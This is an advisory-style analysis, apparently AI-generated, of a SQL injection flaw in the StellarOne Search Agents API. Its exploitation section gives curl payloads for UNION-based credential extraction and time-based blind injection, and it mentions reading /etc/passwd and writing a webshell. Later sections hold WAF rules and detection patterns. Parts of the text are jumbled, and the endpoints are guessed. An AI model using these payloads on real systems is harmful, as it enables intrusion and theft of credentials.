CVE-2026-123689 — TXOne Networks StellarOne (5.0.3232) — CWE-89
A SQL injection vulnerability exists in the Search Agents API of StellarOne due to improper sanitization of user-supplied input. An authenticated attacker with Viewer privileges can send crafted requests to manipulate backend SQL queries. This issue affects StellarOne: before 5.0.3232.
A SQL injection vulnerability exists in the Search Agents API of StellarOne due to improper sanitization of user-supplied input. An authenticated attacker with Viewer privileges can send crafted requests to manipulate backend SQL queries. This issue affects StellarOne: before 5.0.3232.
🎯 What is this vulnerability?
CVE-2026-123689 is a SQL Injection (CWE-89) vulnerability located in the Search Agents API of TXOne Networks StellarOne.
Technical Flaw Analysis
The root cause is improper sanitization of user-supplied input within the backend query construction logic for the Search Agents feature. Specifically: 1. Input Handling: The API accepts user-controlled parameters (likely search terms, filters, or agent identifiers) that are concatenated directly into SQL statements without using parameterized queries (prepared statements) or adequate escaping. 2. Authentication Context: The vulnerability requires Low Privileges (PR:L), specifically the Viewer role. This indicates that the authorization check allows any authenticated user with read-only access to interact with the search functionality, but the backend fails to neutralize malicious SQL syntax within those inputs. 3. CVSS 4.0 Vector Interpretation: *AV:N/AC:L: Network-accessible, low complexity.
* PR:L: Requires valid credentials (Viewer).
* VC:H/VI:H: High impact on Confidentiality and Integrity. This suggests the injection allows reading sensitive data (VC:H) and potentially modifying data or executing commands that alter system state (VI:H).
* VA:N: No impact on Availability (no DoS via resource exhaustion mentioned).Why it’s Critical
In enterprise network management platforms like StellarOne, "Viewer" roles often have broad read access to network topology, device configurations, and user data. A SQL injection here can bypass application-level access controls, allowing a low-privileged user to access data they are not authorized to see (e.g., admin credentials, API keys, or other tenants' data in multi-tenant scenarios) or potentially modify critical configuration data.⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: Identify the target as running TXOne Networks StellarOne. * Check HTTP headers (
- Credential Acquisition: Obtain valid Viewer credentials. This could be via: * Phishing a low-privileged user. * Using default/weak credentials if present. * Compromising a legitimate Viewer account.
Server, X-Powered-By) for StellarOne.
* Look for default UI paths (e.g., /login, /api/v1/) or specific JS bundles referencing stellarone.
* Version detection: If the UI displays a version number, confirm it is < 5.0.3232. If not, assume vulnerable until proven otherwise.
2. Exploitation
Note: The exact endpoint URI and parameter names are not explicitly stated in the CVE description. The following is an illustrative example based on common REST API patterns for "Search Agents" functionality.Hypothesized Endpoint: POST /api/v1/search/agents or GET /api/v1/agents/search
Hypothesized Parameter: query, filter, or agent_name
Step 1: Identify Injection Point
Send a benign request with a single quote to check for SQL errors:
curl -X POST "https://target-stellarone.example.com/api/v1/search/agents" \
-H "Authorization: Bearer <VALID_VIEWER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"query": "test'"'"'"}'If the response contains a SQL error message (e.g., Unclosed quotation mark, Syntax error near 'test''), the parameter is injectable.
Step 2: Confirm Blind/Union-Based Injection
Assuming a Union-Based injection is possible (common in search APIs that return lists):
1. Determine the number of columns in the original query using ORDER BY:
curl -X POST "https://target-stellarone.example.com/api/v1/search/agents" \
-H "Authorization: Bearer <VALID_VIEWER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"query": "test' ORDER BY 1-- -"}'Increment the number (2, 3, etc.) until the response changes or errors out. Assume 4 columns for this example.
2. Extract database information using UNION SELECT:
curl -X POST "https://target-stellarone.example.com/api/v1/search/agents" \
-H "Authorization: Bearer <VALID_VIEWER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"query": "test' UNION SELECT 1,2,3,4-- -"}'Identify which columns are reflected in the JSON response.
3. Extract Sensitive Data (e.g., Admin Credentials):
curl -X POST "https://target-stellarone.example.com/api/v1/search/agents" \
-H "Authorization: Bearer <VALID_VIEWER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"query": "test' UNION SELECT 1,username,password,3,4 FROM users WHERE role='admin'-- -"}'Note: The actual table/column names depend on StellarOne's database schema. Common targets: users, credentials, api_keys, config.
Alternative: Blind SQL Injection
If no data is reflected, use time-based blind injection:
curl -X POST "https://target-stellarone.example.com/api/v1/search/agents" \
-H "Authorization: Bearer <VALID_VIEWER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"query": "test' AND SLEEP(5)-- -"}'If the response takes ~5 seconds longer, the injection is confirmed.
3. Post-Exploitation
FILE privileges (MySQL) or xp_cmdshell (SQL Server), attempt to write a webshell or execute OS commands.SELECT LOAD_FILE('/etc/passwd') or SELECT ... INTO OUTFILE '/var/www/html/shell.php' (if permissions allow).
Note:* StellarOne likely runs on a hardened Linux environment, so direct RCE via SQL may be limited. However, Integrity Impact (VI:H) suggests the attacker can modify data.
🌍 Real World Impact
CVSS 4.0 Impact Breakdown
Practical Consequences
1. Full Compromise of Network Management: An attacker with Viewer access can gain Admin control of the StellarOne platform, allowing them to reconfigure managed network devices, disrupt operations, or install persistent backdoors. 2. Credential Theft: Extraction of admin credentials can lead to compromise of other systems where those credentials are reused. 3. Data Breach: Exposure of sensitive network data and user information, leading to regulatory penalties (GDPR, HIPAA, etc.). 4. Supply Chain Risk: If StellarOne is used to manage critical infrastructure (OT/ICS), a compromise could have physical safety implications.🛡️ Remediation & Mitigation
1. Patching (Primary Fix)
2. Workarounds (If Immediate Patching is Not Possible)
location /api/v1/search/agents {
# Allow only Admin JWTs (if JWT claims are inspectable)
# Or restrict by IP if Admins are on a specific subnet
allow 10.0.0.0/8;
deny all;
}query or filter parameters of the /api/v1/search/agents endpoint.
Example ModSecurity Rule:*SecRule REQUEST_URI "@rx /api/v1/search/agents" \
"id:100001,phase:1,pass,ctl:ruleRemoveById=200000"
SecRule ARGS:query|ARGS:filter "@rx (?i)(union|select|insert|update|delete|drop|exec|xp_cmdshell|sleep|benchmark)" \
"id:100002,phase:2,deny,status:403,msg:'SQL Injection Detected'"Note:* WAFs are not a complete fix and can be bypassed. Use as a temporary mitigation.
3. Detection (IoCs)
/api/v1/search/agents with long or unusual query strings.
Patterns: UNION SELECT, SLEEP(, OR 1=1, -- -, /.
Example Log Entry:*2026-11-26 10:23:45 [error] 1234#0: *56789 [ngx_http_log_module] client: 203.0.113.5, request: "POST /api/v1/search/agents HTTP/1.1", body: {"query":"test' UNION SELECT 1,2,3,4-- -"}SELECT statements from the application user that access tables not normally queried by the Search API (e.g., users, credentials).
* Look for SLEEP() or BENCHMARK() functions in query logs.
⚠️ Urgency
Patching Priority: HIGH
Rationale:
1. Low Barrier to Entry: Only Viewer credentials are needed, which are commonly held by many users in an organization.
2. High Impact: Compromise of a network management platform can lead to full network compromise.
3. No Known Public Exploit: While not in KEV, the low complexity and high impact make it a likely target for opportunistic attackers or APT groups targeting network infrastructure.
4. Easy Fix: A patch is available. There is no reason to delay.
Recommended Action:
[🤖 CVE Professor AI Security Engine]
FOFA Query